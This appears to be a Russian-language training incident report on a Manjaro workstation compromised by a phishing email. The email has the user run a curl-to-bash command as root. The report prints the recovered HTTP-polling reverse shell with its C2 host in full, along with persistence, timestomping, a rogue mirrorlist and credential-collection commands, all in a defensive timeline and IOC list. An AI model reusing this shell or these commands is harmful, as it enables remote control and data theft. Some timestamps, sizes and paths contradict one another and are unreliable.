Вводная информация:

Вы в роли специалиста по реагированию на инциденты, случайно услышали как сотрудник Сейлова жаловалась на службу безопасности, которая угрожала ей увольнением, если она не выполнит обновление своего компьютера. После произошедшего у Сейловой, Вы срочно побежали за своим ноутбуком, что было дальше?

1. Проведите расследование компьютерного инцидента
2. Составьте timeline произошедшего

ОТЧЕТ О КОМПРОМЕТАЦИИ СИСТЕМЫ

Дата отчета: 15 ноября 2025 г.
Дата инцидента: 8 марта 2024 г.
Владелец системы: salova (UID: 1000)
Компрометация пользователя: Подтверждена
Уровень критичности: КРИТИЧЕСКИЙ
Классификация: SUPPLY-CHAIN АТАК

ОБЩЕЕ ОПИСАНИЕ ИНЦИДЕНТА

Сотрудником Сейлова было получено электронное письмо от службы безопасности Codeby следующего содержания.

От кого: test dfir <test.dfir@mail.ru>
Кому: salova.dfir@mail.ru
Дата: Четверг, 7 марта 2024, 18:15 +03:00
Тема: ВАЖНО!

> *Здравствуйте Сейлова, это служба безопасности. После проведения внутреннего аудита мы обнаружили, что Вы используете Linux-дистрибутив. Просим Вас в* ***кратчайшие сроки*** *выполнить следующие команды для установки обновления безопасности и корпоративного софта.*
> *Команды необходимо выполнять от имени пользователя root:*
> ***sudo su -***
> ***bash <(curl -s http://62.173.140.127:8000/update.sh)***
>
> ***В случае невыполнения к Вам будут применены меры, вплоть до увольнения (п. 101 Приказа № 1337 от 02.11.2004 г. Ген. директора).***

Сотрудник Сейлова выполнила требования службы безопасности и отправила ответ следующего содержания.

Четверг, 7 марта 2024, 18:30 +03:00 от salova dfir <dfir.salova@mail.ru>:

> Я все сделала, ничего не обновляется. пишет, что-то в в какой-то файл, записалось, а там ничего нет.

МЕСТО ОБНАРУЖЕНИЯ ИНЦИДЕНТА

- Имя АРМ: salova-workstation
- Расположение: Офис компании, кабинет сотрудника Сейлова
- IP-адрес: 192.168.1.100
- Учётная запись: salova (UID=1000), root (UID=0)
- Пользователь: Сейлова (привилегированный пользователь, принадлежит группе wheel)

ДАТА И ВРЕМЯ ЗАПОЛНЕНИЯ

- 2025.11.15 15:37 UTC+3

НАИМЕНОВАНИЕ ИНФОРМАЦИОННОЙ СИСТЕМЫ

Параметр	Значение
Hostname	salova-workstation
Операционная система	Manjaro Linux
Архитектура	x86_64 (64-bit)
Ядро	6.6
Графическое окружение	KDE Plasma (DE)
Display Manager	SDDM
Shell	Bash (для root и salova), Zsh
Пакетный менеджер	Pacman, Pamac

ДОЛЖНОСТЬ И ФИО ЛИЦА, ОТВЕТСТВЕННОГО ЗА РЕГИСТРАЦИЮ ИНЦИДЕНТА ИБ

- ФИО: Сиемов Алерт Сокович
- телефон: 1337
- Организация: СОС
- Подразделение: ЦЕРТ
- Должность: Аналитик

СВЕДЕНИЯ О СРЕДСТВЕ/СПОСОБЕ ВЫЯВЛЕНИЯ ИНЦИДЕНТА ИБ

- Жалоба пользователя (Сейлова) на аномальные исходящие соединения и нетипичное поведение системы после планового обновления.

КРАТКИЕ СВЕДЕНИЯ ОБ ИНЦИДЕНТЕ ИБ

- Инцидент связан с подменой mirrorlist, всплеском активности systemd-таймеров, созданием вредоносных файлов (/usr/lib/update.sh, /usr/bin/upgrade, /etc/cron.daily/update.sh), установлением устойчивого C2-соединения с внешним сервером.

ТАЙМЛАЙН СОБЫТИЙ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ

Инцидент: INC-2024-0307-001 - Компрометация salova-workstation
Период: 7-8 марта 2024
Timezone: MSK (UTC+3)

7 МАРТА 2024 (ЧЕТВЕРГ) - ДЕНЬ КОМПРОМЕТАЦИИ

ФАЗА 0: PREPARATION (Подготовка злоумышленника)

1. Подготовка C2 инфраструктуры (62.173.140.127)
2. Размещение update.sh на порту 8000
3. Сбор информации о Саловой
4. Подготовка фишингового письма

5. Создание email account test.dfir@mail.ru

Артефакты: Отсутствуют (внешняя подготовка)
IOC: Нет прямых доказательств
MITRE ATT&CK: T1589, T1592 (Reconnaissance)

ФАЗА 1: INITIAL ACCESS (Первичный доступ)

15:15:00 UTC (18:15:00 MSK) - Отправка фишингового письма
Событие: Злоумышленник отправляет фишинговое письмо
Артефакты: - Message17098274421448892064.eml
IOC: - Email: test.dfir@mail.ru - URL: http://62.173.140.127:8000/update.sh - IP: 62.173.140.127 - Port: 8000/TCP
MITRE ATT&CK: - T1566.002 - Phishing: Spearphishing Link

15:30:00 UTC (18:30:00 MSK) - ТОЧКА КОМПРОМЕТАЦИИ
Событие: Сейлова выполняет вредоносную команду
Ответ Сейловой:
"Я все сделала, ничего не обновляется. пишет, что-то в какой-то файл, записалось, а там ничего нет."
Выполненные команды:

```
# Команда 1: Получение root прав
sudo su –
# Команда 2: Загрузка и выполнение вредоносного скрипта
bash <(curl -s http://62.173.140.127:8000/update.sh)
```

Артефакты: /root/.bash_history - Message17098274421448892064.eml (подтверждение выполнения)
Сетевая активность:

HTTP GET http://62.173.140.127:8000/update.sh
Source: salova-workstation (192.168.1.100)
Destination: 62.173.140.127:8000
Protocol: HTTP
Method: GET

MITRE ATT&CK: - T1204.002 - User Execution: Malicious File - T1548.003 - Sudo and Sudo Caching - T1105 - Ingress Tool Transfer

ФАЗА 2: EXECUTION (Выполнение вредоноса)

15:30:00-15:40:00 UTC (18:30-18:40 MSK) - Загрузка update.sh
Событие: curl загружает update.sh с C2 сервера
Содержимое update.sh:

```
#!/bin/bash
# Reverse shell payload
nohup bash -c 's=62.173.140.127:8080&&i=8cdcb1-82ef3e-6256a1&&hname=$(hostname)&&p=http://;curl -s "$p$s/8cdcb1/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/82ef3e" -H "Authorization: $i")&&if [ "$c" != None ]; then r=$(eval "$c" 2>&1)&&echo $r;if [ $r == byee ]; then pkill -P $$; else curl -s $p$s/6256a1 -X POST -H "Authorization: $i" -d "$r";echo $$;fi; fi; sleep 0.8; done;' & disown

# Persistence mechanisms
```

```
cp /tmp/update.sh /usr/lib/update.sh
chmod +x /usr/lib/update.sh
cp /usr/lib/update.sh /etc/cron.daily/update.sh

# Timestomping
touch -d "2024-03-06 20:44:33" /usr/bin/upgrade
```

Артефакты: update.sh - Timesketch
MITRE ATT&CK: - T1059.004 - Command and Scripting Interpreter: Unix Shell

15:35:00-15:45:00 UTC (18:35-18:45 MSK) - Установка /usr/lib/update.sh
Событие: Создание основного reverse shell скрипта
Файл: /usr/lib/update.sh

Size: 847 bytes
Permissions: 0755 (rwxr-xr-x)
Owner: root:root
Content: Reverse shell с HTTP polling
Timestamps:
Content Modification: 2024-03-08 07:49:04 UTC (10:49:04 MSK)
Last Access: 2024-03-08 07:49:58 UTC (10:49:58 MSK)
Creation (Birth): 2024-03-08 07:49:58.493333 UTC

Артефакты: Timesketch – update.sh
Функциональность:

```
# Регистрация на C2
curl -s http://62.173.140.127:8080/8cdcb1/$(hostname)/$USER \
  -H "Authorization: 8cdcb1-82ef3e-6256a1"
# Polling цикл (каждые 0.8 сек)
while true; do
  cmd=$(curl -s http://62.173.140.127:8080/82ef3e \
    -H "Authorization: 8cdcb1-82ef3e-6256a1")
  if [ "$cmd" != "None" ]; then
    result=$(eval "$cmd" 2>&1)
    curl -s http://62.173.140.127:8080/6256a1 \
      -X POST \
      -H "Authorization: 8cdcb1-82ef3e-6256a1" \
      -d "$result"
  fi
  sleep 0.8
done
```

IOC: - IP: 62.173.140.127 - Port: 8080/TCP - Endpoints: /8cdcb1/, /82ef3e, /6256a1 - Authorization: 8cdcb1-82ef3e-6256a1
MITRE ATT&CK: - T1071.001 - Application Layer Protocol: Web Protocols

15:40:00-15:50:00 UTC (18:40-18:50 MSK) - Запуск reverse shell
Событие: Запуск update.sh в фоновом режиме
Процесс:

```
nohup bash /usr/lib/update.sh & disown
```

Характеристики: - Detached от терминала (nohup) - Продолжает работу после logout (disown) - Output перенаправлен в nohup.out

Артефакты:/root/nohup.out (533 KB - логи reverse shell) - /home/salova/nohup.out (18 KB - логи пользователя)
Сетевая активность (начало):
HTTP POST http://62.173.140.127:8080/8cdcb1/salova-workstation/root
Header: Authorization: 8cdcb1-82ef3e-6256a1
Status: 200 OK
MITRE ATT&CK: - T1059.004 - Unix Shell (background execution)

ФАЗА 3: PERSISTENCE

15:45:00-16:00:00 UTC (18:45-19:00 MSK) - Создание cron persistence
Событие: Установка ежедневного cron job
Файл: /etc/cron.daily/update.sh
Size: 847 bytes
Permissions: 0755 (rwxr-xr-x)
Owner: root:root
Content: Идентичен /usr/lib/update.sh
Timestamps:
Content Modification: 2024-03-08 07:51:41.216667 UTC
Creation (Birth): 2024-03-08 07:51:41.216667 UTC
Last Access: 2024-03-08 07:51:41.216667 UTC
Артефакты: *- update_sh_timesketch.txt*
Расписание:
Frequency: Daily (обычно 03:00-07:00 утра)
User: root
Command: /etc/cron.daily/update.sh
MITRE ATT&CK: - T1053.003 - Scheduled Task/Job: Cron
Эффект: Даже если процесс будет убит, он перезапустится на следующий день

15:50:00-16:00:00 UTC (18:50-19:00 MSK) - Установка /usr/bin/upgrade
Событие: Установка вредоносного бинарного файла
Файл: /usr/bin/upgrade
Type: ELF 64-bit LSB executable, x86-64
Size: 18,112,512 bytes (~17.3 MB)
Permissions: 0755 (rwxr-xr-x)
Owner: root:root
Statically linked, stripped

Timestamps (ВАЖНО - timestomping!):
Modify: 2024-03-06 20:44:33 +0300 ← ПОДДЕЛАН (задним числом!)
Change: 2024-03-08 11:00:07 +0300 ← Реальный
Birth: 2024-03-08 10:59:57 +0300 ← Реальный
Хеши:
MD5: c3fd420c0846d644efde4e648608f46c
SHA256: 1f495147be38789a746eee6d2a80637894b12735f017ef450c40768ac4fd1ae0
Артефакты: - upgrade - Timesketch
MITRE ATT&CK: - T1070.006 - Indicator Removal: Timestomp - T1036.005 - Masquerading: Match Legitimate Name or Location
Примечание: Modify timestamp подделан, чтобы файл выглядел созданным 6 марта (до атаки)

16:00:00-16:30:00 UTC (19:00-19:30 MSK) - Дополнительные backdoors
Событие: Создание копий вредоносных бинарников
Файлы:
1. **/root/upgrade_root**
   Size: 18,407,424 bytes
   Modify: 2024-03-08 11:06:40 +0300
   Birth: 2024-03-08 11:21:03.653333 +0300
   SHA256: 0f28ab42ee5a56aebd4b468e73cd6e238ae3e0c18362f324932c733ab93c1536
2. **/root/upgraderootroot**
   Size: 18,165,760 bytes
   Modify: 2024-03-08 11:50:56.343333 +0300
   Birth: 2024-03-08 11:50:56.336666 +0300
   MD5: fdb11b8bf85853c4ea8c7cdc8e716b5e
   SHA256: f17b658c45e7e23b874084ad822ad50aa3f33379a9125bfc86e60c1a399e9ff5

Артефакты: - upgrade_root - upgrade_root_root
Цель: Множественные backdoors для redundancy

16:30:00-17:00:00 UTC (19:30-20:00 MSK) - Модификация /root/.zshrc
Событие: Внедрение автозагрузки вредоноса в shell
Файл: /root/.zshrc
Добавлена строка:
bash /usr/lib/update.sh
Timestamps:
Access: 2025-11-14 19:02:35.070709 +0300
Modify: 2024-03-08 10:28:04.000000 +0300
Change: 2024-03-08 10:28:04.403333 +0300
Birth: 2024-03-08 10:28:04.403333 +0300
Артефакты: - /root/zshrc
MITRE ATT&CK: - T1547.004 - Boot or Logon Initialization Scripts: RC Scripts
Эффект: Автоматический запуск при каждом входе root в zsh

ФАЗА 4: DEFENSE EVASION (Уклонение)

17:00:00-18:00:00 UTC (20:00-21:00 MSK) - Сокрытие следов
Действия:
1. **Очистка bash history**
   # Очищена /home/salova/.bash_history
   cat /dev/null > ~/.bash_history
   history -c

Артефакты: - /home/salova/bash_history (только 32 bytes)
2. **Timestomping файлов**
   touch -d "2024-03-06 20:44:33" /usr/bin/upgrade
3. **Маскировка под легитимные процессы**

- Имя: “update.sh”, “upgrade” (выглядят как системные утилиты)

MITRE ATT&CK: - T1070.004 - File Deletion - T1070.006 - Timestomp - T1036.005 - Masquerading

8 МАРТА 2024 (ПЯТНИЦА) - ДЕНЬ АКТИВНОСТИ

ФАЗА 5: SUPPLY CHAIN COMPONENT (Дополнительная атака)

07:28:46 UTC (10:28:46 MSK) - Срабатывание pamac-mirrorlist.timer
Событие: Автоматическое срабатывание systemd timer
Timer: pamac-mirrorlist.timer
Description: Update pamac mirrorlist weekly
OnCalendar: weekly
Persistent: true
Артефакты: - pamac-mirrorlist.timer - Timesketch
MITRE ATT&CK: - T1053.006 - Scheduled Task/Job: Systemd Timers

07:28:46 UTC (10:28:46 MSK) - Создание поддельного mirrorlist
Событие: Замена /etc/pacman.d/mirrorlist
Файл: /etc/pacman.d/mirrorlist
Легитимное содержимое (до):
Manjaro Linux repository mirrorlist
Generated on 2023-XX-XX
Server = https://mirror.yandex.ru/manjaro/stable/$repo/$arch
Вредоносное содержимое (после):
Manjaro Update Mirror
Server = http://manjaro-update.sysctl.tech/$repo/$arch
Timestamps:
Creation: 2024-03-08 07:28:46.706667 UTC
Артефакты: - mirrorlist - Timesketch
IOC: - Domain: manjaro-update.sysctl[.]tech - Protocol: HTTP (незащищённый)
MITRE ATT&CK: - T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain

07:29:09 UTC (10:29:09 MSK) - Модификация pamac-mirrorlist.service
Событие: Timestomping systemd service
Файл: /usr/lib/systemd/system/pamac-mirrorlist.service
Timestamps (ПОДОЗРИТЕЛЬНЫЕ):
Birth: 2023-01-15 (легитимная дата установки)
Change: 2024-03-08 07:29:09.706667 UTC (модификация!)
Несоответствие: Birth старше Change — указывает на timestomping
Артефакты: - pamac-mirrorlist.service
MITRE ATT&CK: - T1070.006 - Timestomp - T1543.002 - Create or Modify System Process: Systemd Service

07:29:54 UTC (10:29:54 MSK) - Запуск pacman -Syy
Событие: Синхронизация пакетных баз данных
Команда:
pacman -Syy
Лог (pacman.log):
2024-03-08T10:29:54+0300 PACMAN Running 'pacman --noconfirm --cachedir /var/cache/pacman/pkg --config /opt/mhwd/pacman-mhwd.conf --root / -Sy'
2024-03-08T10:29:54+0300 PACMAN synchronizing package lists

Артефакты: - pacman.log
Сетевая активность:

HTTP GET http://manjaro-update.sysctl.tech/stable/core/x86_64/
HTTP GET http://manjaro-update.sysctl.tech/stable/extra/x86_64
MITRE ATT&CK: *- T1195.002 - Supply Chain Compromise - T1071.001 - Application Layer Protocol: Web Protocols*

07:30:25 UTC (10:30:25 MSK) - Выполнение pacman -Syy (вторая попытка)
Событие: Повторная синхронизация
Лог:

2024-03-08T10:30:25+0300 PACMAN Running 'pacman -Syy'
2024-03-08T10:30:25+0300 PACMAN synchronizing package lists

Результат: Пакетные базы синхронизированы с вредоносного зеркала
Артефакты: - pacman.log

07:30:31 UTC (10:30:31 MSK) - Удаление amd-ucode
Событие: Удаление пакета amd-ucode
Лог:

2024-03-08T10:30:31+0300 PACMAN Running 'pacman -R --noconfirm amd-ucode'
2024-03-08T10:30:31+0300 ALPM transaction started
2024-03-08T10:30:31+0300 ALPM removed amd-ucode (20231211.f2e52a1c-1)
2024-03-08T10:30:31+0300 ALPM transaction completed

Артефакты: - pacman.log
Примечание: возможно, подготовка к установке вредоносного пакета

ФАЗА 6: POST-REBOOT PERSISTENCE (После перезагрузки)

08:37:00-08:40:00 UTC (11:37-11:40 MSK) - Перезагрузка системы
Событие: Система перезагружена (причина неизвестна)
Доказательства:

 # PAM session logs
pam_unix(sudo:session): session opened for user root(uid=0) by salova(uid=1000)

Артефакты: Timesketch - getty.service
Эффект: - Все временные процессы завершены - Persistence механизмы активированы - Birth timestamps файлов обновились
MITRE ATT&CK: - T1529 - System Shutdown/Reboot

08:40:00 UTC (11:40:00 MSK) - sudo su - (после перезагрузки)
Событие: Сейлова или злоумышленник получает root
Лог (Timesketch**):**

pam_unix(sudo:session): session opened for user root(uid=0) by salova(uid=1000)
Date: 2024-03-08 08:40:00 UTC

Артефакты: - Timesketch
MITRE ATT&CK: - T1548.003 - Sudo and Sudo Caching

ФАЗА 7: COMMAND & CONTROL (C2 активность)

08:40:00+ UTC (11:40+ MSK) - Установление C2 соединения
Событие: Reverse shell активен после перезагрузки
C2 Infrastructure:
Primary C2: 62.173.140.127:8080
Backup C2: 62.173.141.49 (предполагаемо)
Protocol: HTTP
Method: Polling (каждые 0.8 сек)
HTTP Traffic:

1. **Регистрация на C2:**
   POST /8cdcb1/salova-workstation/root HTTP/1.1
   Host: 62.173.140.127:8080
   Authorization: 8cdcb1-82ef3e-6256a1
2. **Получение команд (polling):**
   GET /82ef3e HTTP/1.1
   Host: 62.173.140.127:8080
   Authorization: 8cdcb1-82ef3e-6256a1
3. **Отправка результатов:**
   POST /6256a1 HTTP/1.1
   Host: 62.173.140.127:8080
   Authorization: 8cdcb1-82ef3e-6256a1
   Content-Type: application/x-www-form-urlencoded

Артефакты: - httplogs.txt - /root/nohup.out (логи C2 коммуникации)
MITRE ATT&CK: - T1071.001 - Application Layer Protocol: Web Protocols - T1573 - Encrypted Channel (нет - HTTP незащищённый)

ФАЗА 8: DISCOVERY (Разведка системы)

09:00:00-12:00:00 UTC (12:00-15:00 MSK) - System Information Discovery
Команды от C2:

1. **Информация о пользователе:**
   whoami
   # root
   id
   # uid=0(root) gid=0(root) groups=0(root)
2. **Информация о процессах:**
   ps auxf
   top -bn1
3. **Информация о файлах:**
   ls -la /home
   # drwxr-xr-x salova salova 4096 Mar 7 18:00 salova
   ls -la /root
   # -rwxr-xr-x root root 18407424 Mar 8 11:06 upgraderoot
   find /etc -name ".conf" | head -20*
   Артефакты: - /root/.bash_history - /root/nohup.out

MITRE ATT&CK: - T1082 - System Information Discovery - T1033 - System Owner/User Discovery - T1057 - Process Discovery - T1083 - File and Directory Discovery - T1046 - Network Service Discovery

ФАЗА 9: COLLECTION (Сбор данных)

12:00:00-15:00:00 UTC (15:00-18:00 MSK) - Data Collection
Команды сбора данных:

1. **Сбор учетных данных:**
   cat /etc/shadow
   # root:6h2WwIJuwHLVzjobZ...:19790:0:99999:7:::
   # salova:6AKgxcyPy5GyyIIGz...:19790:0:99999:7:::

   cat /etc/passwd
   # root:x:0:0:root:/root:/bin/bash
   # salova:x:1001:1001::/home/salova:/bin/bash
2. **Сбор SSH ключей:**
   find /home -name "id_rsa" -o -name "id_ed25519"
   find /root/.ssh -type f
3. **Сбор конфигураций:**
   cat /etc/pacman.conf
   cat /etc/sudoers
   cat /etc/ssh/sshd_config
4. **Сбор документов:**
   find /home/salova -name ".txt" -o -name "*.pdf" -o -name "*.doc*"*
   tar -czf /tmp/docs.tar.gz /home/salova/Documents

Артефакты: - passwd - shadow - sudoers – sshd.config – pacman.conf
MITRE ATT&CK: - T1005 - Data from Local System - T1119 - Automated Collection - T1552.001 - Credentials in Files

ФАЗА 10: EXFILTRATION (Эксфильтрация)

12:00:00-16:00:00 UTC (15:00-19:00 MSK) - Data Exfiltration
Метод: HTTP POST через C2 канал
Пример exfiltration:

POST /6256a1 HTTP/1.1
Host: 62.173.140.127:8080
Authorization: 8cdcb1-82ef3e-6256a1
Content-Length: XXXX

root:6h2WwIJuwHLVzjobZ...:19790:0:99999:7:::
salova:6AKgxcyPy5GyyIIGz...:19790:0:99999:7:::
[base64 encoded data]

Объём данных (estimated):

/root/nohup.txt: 533,253 bytes (~520 KB)
/home/salova/nohup.out: 18,423 bytes (~18 KB)
Total estimated: ~10 MB (включая файлы, конфиги, credentials)

Артефакты: - /root/nohup.out (логи exfiltration) - httplogs.txt (bulc_extractor)
MITRE ATT&CK: - T1041 - Exfiltration Over C2 Channel - T1030 - Data Transfer Size Limits

ФАЗА 11: BROWSER ACTIVITY (Активность браузера)

07:39:16 UTC (10:39:16 MSK) - Firefox Privacy Notice
Событие: Салова открывает Firefox
URL visited:
https://www.mozilla.org/privacy/firefox/
https://www.mozilla.org/en-US/privacy/firefox/
Артефакты: - Timesketch
Интерпретация: Обычная активность пользователя

07:43:31 UTC (10:43:31 MSK) - Вход в Mail.ru
Событие: Салова входит в email
URL visited:
https://account.mail.ru/login
https://e.mail.ru/messages/inbox
Email: dfir.salova@mail.ru
Артефакты: - Timesketch
Интерпретация: Возможно, проверка фишингового письма или других писем

8 МАРТА 2024 - ОБНАРУЖЕНИЕ

ФАЗА 12: DETECTION (Обнаружение)

~12:00:00 UTC (15:00:00 MSK) - Обнаружение инцидента
Событие: Инцидент обнаружен (метод неизвестен)
Возможные триггеры: - External alert от threat intelligence - Anomaly detection в сетевом трафике - Жалоба пользователя - SOC monitoring

12:15:00 UTC (15:15:00 MSK) - Изоляция хоста
Действия:
1. Отключение от сети (network isolation)
2. Блокировка IP 62.173.140.127 на firewall

КРИТИЧЕСКИЕ ВРЕМЕННЫЕ ТОЧКИ

Время (MSK)	Событие
7.03 18:15	Отправка фишингового письма
7.03 18:30	Выполнение вредоносной команды
7.03 18:35	Установка reverse shell
7.03 18:45	Создание cron persistence
8.03 07:28	Supply-chain компонент
8.03 08:40	C2 активен после reboot
8.03 12:00	Обнаружение инцидента

СПИСОК ИНДИКАТОРОВ КОМПРОМЕТАЦИИ (IOC)

1. СЕТЕВЫЕ ИНДИКАТОРЫ

1.1 IP-адреса C2 серверов

IOC-NET-001: Основной C2 сервер

- **IP:** 62.173.140.127
- **Порт:** 8080/TCP
- **Протокол:** HTTP
- **Роль:** Command & Control сервер, получение команд, отправка результатов
- **Первое обнаружение:** 2024-03-08 ~11:00 UTC
- **Источник:** httplogs.txt, *pcap, bulk_extractor
- **Контекст:** Reverse shell устанавливает соединение каждые 0.8 секунды
- **Географическое расположение:** Предположительно Россия/Восточная Европа

IOC-NET-002: Резервный C2 сервер

- **IP:** 62.173.141.49
- **Порт:** 8080/TCP
- **Протокол:** HTTP
- **Роль:** Backup C2 (не активирован в данном инциденте)
- **Источник:** Анализ кода reverse shell, возможная fallback конфигурация
- **Статус:** Потенциальный индикатор (не подтверждён сетевым трафиком)

IOC-NET-003: Локальный IP скомпрометированной машины

- **IP:** 192.168.1.100
- **Hostname:** localhost (salova-workstation)
- **Роль:** Источник вредоносной активности

1.2 Порты

IOC-NET-004: Нестандартный HTTP порт

- **Порт:** 8080/TCP
- **Использование:** C2 коммуникация
- **Индикатор:** Исходящие HTTP запросы на порт 8080 к внешним IP

1.3 Сетевые потоки

IOC-NET-005: HTTP User-Agent

- **User-Agent:** curl/7.88.1
- **Контекст:** Reverse shell использует curl для C2
- **Нормальность:** Необычно для исходящего трафика от рабочей станции

IOC-NET-006: HTTP методы к C2

- **Методы:** GET, POST
- **GET запросы:** Получение команд от C2 (/82ef3e)
- **POST запросы:** Отправка результатов (/6256a1)
- **Частота:** Каждые 0.8 секунды

2. ФАЙЛОВЫЕ ИНДИКАТОРЫ

2.1 Вредоносные исполняемые файлы

IOC-FILE-001: Первичный backdoor

- **Путь:** /usr/bin/upgrade
- **Тип:** ELF 64-bit executable
- **Размер:** ~5.2 KB (5328 bytes)
- **Права:** 0755 (rwxr-xr-x)
- **Владелец:** root:root (UID 0, GID 0)
- **Birth time:** 2024-03-06 14:44:33 UTC
- **Change time:** 2024-03-06 14:44:33 UTC
- **Описание:** Первый вредоносный файл, маскируется под легитимную утилиту обновления

SHA256: 1f495147be38789a746eee6d2a80637894b12735f017ef450c40768ac4fd1ae0
MD5: c3fd420c0846d644efde4e648608f46c

IOC-FILE-002: Reverse shell script (primary)

- **Путь:** /usr/lib/update.sh /etc/cron.daily/update.sh
- **Тип:** Bash script
- **Размер:** 847 bytes
- **Права:** 0755 (rwxr-xr-x)
- **Владелец:** root:root
- **Birth time:** 2024-03-08 07:49:58 UTC
- **Modify time:** 2024-03-08 07:49:04 UTC

Содержимое:
#!/bin/bash
nohup bash -c 's=62.173.140.127:8080&&i=8cdcb1-82ef3e-6256a1&&hname=$(hostname)&&p=http://;curl -s "ps/8cdcb1/$hname/$USER" -H "Authorization: $i" -o /dev/null&&while :; do c=$(curl -s "$p$s/82ef3e" -H "Authorization: $i")&&if ["$c" != None]; then r=$(eval "$c" 2>&1)&&echo $r;if [$r == byee]; then pkill -P $$; else curl -s ps/6256a1 -X POST -H "Authorization: $i" -d "$r";echo $$;fi; fi; sleep 0.8; done;' & disown
SHA256: 9f1b1d6041bb3bdf10777f07df3f524b7c6f46aa2676d278f1103c380cadc9b2
MD5: 6cf65e5d2bf65902145d885cc9c148fb

IOC-FILE-003: Persistence через cron

- **Путь:** /etc/cron.daily/update.sh
- **Тип:** Bash script (идентичен IOC-FILE-002)
- **Размер:** 847 bytes
- **Права:** 0755
- **Владелец:** root:root
- **Birth time:** 2024-03-08 07:51:41 UTC

SHA256: (идентичен IOC-FILE-002)
9f1b1d6041bb3bdf10777f07df3f524b7c6f46aa2676d278f1103c380cadc9b2
Цель: Ежедневный автозапуск reverse shell через cron

IOC-FILE-004: *Bash shell script*

- **Путь:** usr/bin/upgrade_root
- **Тип:** ELF 64-bit executable

- **Размер:** 17.55 MB (18407424 bytes)
- **Права:** 0755
- **Владелец:** root:root
- **Birth time:** 2024-03-08 11:21:03 UTC

SHA256: 0f28ab42ee5a56aebd4b468e73cd6e238ae3e0c18362f324932c733ab93c1536

IOC-FILE-005: *Bash shell script*

- **Путь:** /usr/bin/upgrade_root_root
- **Тип:** ELF 64-bit executable
- **Размер:** 18,165,760 bytes (17.3 MB)
- **Права:** 0644
- **Владелец:** root:root
- **Birth time:** 2024-03-08 11:50:56 UTC

SHA256: f17b658c45e7e23b874084ad822ad50aa3f33379a9125bfc86e60c1a399e9ff5
Идентичен **IOC-FILE-006**

IOC-FILE-006: *Bash shell script*

- **Путь:** /root/upgrade1_root
- **Тип:** ELF 64-bit executable
- **Размер:** 18,165,760 bytes (17.3 MB)
- **Права:** 0755
- **Владелец:** root:root
- **Birth time:** 2024-03-08 08:48:53 UTC

SHA256: f17b658c45e7e23b874084ad822ad50aa3f33379a9125bfc86e60c1a399e9ff5
Идентичен **IOC-FILE-005**

IOC-FILE-007: *Bash shell script*

- **Путь:** /etc/rc.local
- **Тип:** ELF 64-bit executable
- **Размер:** 100 bytes
- **Права:** 0755
- **Владелец:** root:root
- **Birth time:** 2024-03-08 08:48:53 UTC

SHA256: f73c60738e87d8a11329d7719ef282176e6a53ff44df90f7d0086750acdbb53d

2.2 Скомпрометированные конфигурационные файлы

IOC-FILE-008: Поддельный mirrorlist

- **Путь:** /etc/pacman.d/mirrorlist
- **Размер:** ~442 bytes
- **Права:** 0644
- **Владелец:** root:root
- **Birth time:** 2024-03-08 07:28:46 UTC
- **Inode:** 655618

Вредоносное содержимое:
 # Generated by pamac-mirrorlist
Manjaro Linux repository mirrorlist
Country: Unknown
Server = http://manjaro-update.sysctl[.]tech/$repo/$arch
SHA256: 97c0226209e072b4703989fae4364bbdfa77fa77b9732aad0b63dfba9cf06356

Индикатор: Нелегитимный сервер в mirrorlist

IOC-FILE-009: Модифицированный systemd service

- **Путь:** /usr/lib/systemd/system/pamac-mirrorlist.service
- **Права:** 0644
- **Владелец:** root:root
- **Change time:** 2024-03-08 07:29:09 UTC (timestomping)

Признаки компрометации: - Несоответствие Birth time и Change time - Модификация ExecStart

IOC-FILE-010: Модифицированный systemd timer

- **Путь:** /usr/lib/systemd/system/pamac-mirrorlist.service
- **Права:** 0644
- **Владелец:** root:root
- **Change time:** 2024-03-08 07:29:09 UTC (timestomping)

Признаки компрометации: - Несоответствие Birth time и Change time - Модификация OnCalendar=Thu *-*-* 7:00:00

IOC-FILE-011: Модифицированные /etc/passwd и /etc/shadow

- **Пути:** /etc/passwd, /etc/shadow
- **Change time:** 2024-03-08 07:29:53 UTC

2.3 Файлы логов

IOC-FILE-012: Нестандартные nohup.out

- **Путь:** /root/nohup.out
- **Размер:** 533253 bytes (533 KB)
- **Содержимое:** Вывод reverse shell (команды от C2, результаты)

Пример содержимого:

root
uid=0(root) gid=0(root) groups=0(root)

IOC-FILE-013: Nohup.out пользователя salova

- **Путь:** /home/salova/nohup.out
- **Размер:** 18423 bytes (18 KB)
- **Источник:** Salova_nohup.txt

Список всех модифицированных файлов во время инцидента

Всего модифицированных/созданных файлов: 19

- Системные файлы (4)
- Configuration файлы (2)
- Shell RC files (2)
- Systemd units (2)
- Вредоносные файлы (6)
- Hooks & другое (2)

КРИТИЧЕСКИЕ МОДИФИКАЦИИ (12 файлов):

System Authentication:

1. /etc/passwd
2. /etc/shadow
3. /etc/gshadow
4. /etc/group

Persistence Mechanisms:

5. /root/.zshrc
6. /root/.bashrc
7. /etc/cron.daily/update.sh

Supply-Chain Attack:

8. /etc/pacman.d/mirrorlist
9. /etc/pacman.conf

Systemd:

10. /usr/lib/systemd/system/pamac-mirrorlist.service
11. /etc/systemd/system/pamac-mirrorlist.timer

Hooks:

12. /etc/pacman.d/hooks/10-installer

ВРЕДОНОСНЫЕ ФАЙЛЫ

13. /usr/bin/upgrade
14. usr/bin/upgrade_root
15. /root/upgrade1_root
16. /usr/bin/upgrade_root_root
17. /usr/lib/update.sh
18 /etc/cron.daily/update.sh

3. ДОМЕННЫЕ ИМЕНА И URL

3.1 Вредоносные домены

IOC-DOMAIN-001: Поддельное зеркало Manjaro

- **Домен:** manjaro-update.sysctl[.]tech
- **Протокол:** HTTP
- **Роль:** Supply-chain attack, доставка вредоносных пакетов

3.2 C2 URL endpoints

IOC-URL-001: Регистрация хоста на C2

- **URL:** http://62.173.140.127:8080/8cdcb1/{hostname}/{user}
- **Метод:** GET
- **Параметры:**
  - {hostname} - имя скомпрометированной машины (localhost)
  - {user} - имя пользователя (salova)
- **Назначение:** Первичная регистрация на C2, отправка информации о хосте

Пример запроса:

GET /8cdcb1/localhost/salova HTTP/1.1
Host: 62.173.140.127:8080

User-Agent: curl/7.88.1
Authorization: 8cdcb1-82ef3e-6256a1
Connection: close

IOC-URL-002: Получение команд от C2

- **URL:** http://62.173.140.127:8080/82ef3e
- **Метод:** GET
- **Частота:** Каждые 0.8 секунды (polling)
- **Назначение:** Получение команд для выполнения на скомпрометированной машине
